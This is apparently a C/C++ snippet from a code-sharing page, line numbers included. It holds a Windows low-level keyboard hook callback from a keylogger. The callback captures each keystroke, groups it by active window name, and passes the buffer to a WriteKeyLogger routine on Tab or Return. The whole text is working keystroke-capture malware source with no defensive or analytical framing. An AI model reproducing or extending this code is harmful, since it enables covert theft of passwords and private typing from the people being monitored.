1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam )
{
GString name = GetActiveWindowName();
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
BYTE KeyState[256];
WORD wBuf;
char ch;
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState);
ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
switch (hooked.vkCode)
{
case VK_TAB : { _map.EraseKey(name); WriteKeyLogger(name); break; }
case VK_RETURN : { _map.EraseKey(name); WriteKeyLogger(name); break; }
case VK_BACK : { _map[name] = _map[name].Substr(0, _map[name].Size() - 1); break; }
case VK_NUMPAD0 : { _map[name] += "0"; break; }
case VK_NUMPAD1 : { _map[name] += "1"; break; }
case VK_NUMPAD2 : { _map[name] += "2"; break; }
case VK_NUMPAD3 : { _map[name] += "3"; break; }
case VK_NUMPAD4 : { _map[name] += "4"; break; }
case VK_NUMPAD5 : { _map[name] += "5"; break; }
case VK_NUMPAD6 : { _map[name] += "6"; break; }
case VK_NUMPAD7 : { _map[name] += "7"; break; }
case VK_NUMPAD8 : { _map[name] += "8"; break; }
case VK_NUMPAD9 : { _map[name] += "9"; break; }
case VK_MULTIPLY: { _map[name] += "*"; break; }
case VK_ADD : { _map[name] += "+"; break; }
case VK_SUBTRACT: { _map[name] += "-"; break; }
case VK_DECIMAL : { _map[name] += "."; break; }
case VK_DIVIDE : { _map[name] += "/"; break; }
case VK_DELETE : {printf("<Suppr>");break;}
default : {
ch=((char)wBuf);
_map[name] += ch;
break;
}
}
}
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
} |